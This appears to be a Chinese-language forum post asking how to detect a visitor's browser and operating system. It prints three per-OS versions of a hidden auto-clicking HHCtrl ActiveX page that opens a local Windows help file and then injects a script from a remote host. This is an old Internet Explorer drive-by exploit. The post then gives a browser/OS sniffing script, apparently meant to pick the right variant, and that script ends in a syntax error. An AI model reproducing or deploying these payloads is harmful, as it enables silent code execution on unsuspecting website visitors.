怎么取客户端的浏览器类型和操作系统类型。
当打开网页,根据系统的不同分别执行不同的代码! 在98下执行后pangtl.htm网页源码 这里调用的是file://C:\WINDOWS\Help\Iewebhlp.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\Iewebhlp.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
在2K下执行后pangtl.htm网页源码 这里调用的是file://C:\WINNT\Help\apps.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINNT\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
在XP下执行后pangtl.htm网页源码 这里调用的是file://C:\WINDOWS\Help\apps.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
区别
98系统 file://C:\WINDOWS\Help\Iewebhlp.chm (WINDOWS目录 Iewebhlp.chm文件)
2K系统 file://C:\WINNT\Help\apps.chm (WINNT目录 apps.chm文件)
XP系统 file://C:\WINDOWS\Help\apps.chm (WINDOWS目录 apps.chm文件)
做个自动判断的脚本网页!!!
怎么取客户端的浏览器类型和操作系统类型。
<script language="javascript"> //--> var Explorer_V=""; var System_V=""; function system(){ var systemID=0; //操作系统的编号,初始值为0(即为未知系统) if((navigator.appVersion.lastIndexOf(‘Windows 95‘) != -1) || (navigator.appVersion.lastIndexOf(‘Win95‘) != -1)) { System_V="Windows 95/98/ME";systemID=1;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 4‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 4‘) != -1)) {System_V="Windows NT4";systemID=2;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.0‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.0‘) != -1)) {System_V="Windows 2000";systemID=3;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.1‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.1‘) != -1)) {System_V="Windows XP";systemID=4;} else if(navigator.appVersion.lastIndexOf(‘Linux‘) != -1) {System_V="Linux";systemID=5;} else if(navigator.appVersion.lastIndexOf(‘OS/2‘) != -1) {System_V="OS/2";systemID=6;} else {System_V="未知系统";systemID=0;} System_V+=" "; return (systemID); //将其做为函数的返回值 }
function explorer2(){ if (navigator.appVersion.lastIndexOf(‘MSIE 4.0‘) != -1 ) Explorer_V="IE 4.0"; else if (navigator.appVersion.lastIndexOf(‘MSIE 5.0‘) != -1 ) Explorer_V="IE 5.0"; else if (navigator.appVersion.lastIndexOf(‘MSIE 5.5‘) != -1 ) Explorer_V="IE 5.5"; else if (navigator.appVersion.lastIndexOf(‘MSIE 6‘) != -1 ) Explorer_V="IE 6"; else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1) Explorer_V="Netscape"; else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1) Explorer_V="Netscape"; else if(navigator.userAgent.indexOf("Opera") != -1) Explorer_V="Opera"; else Explorer_V="未知浏览器";
} explorer2(); system(); alert(var Explorer_V + var System_V); // --> </script>
|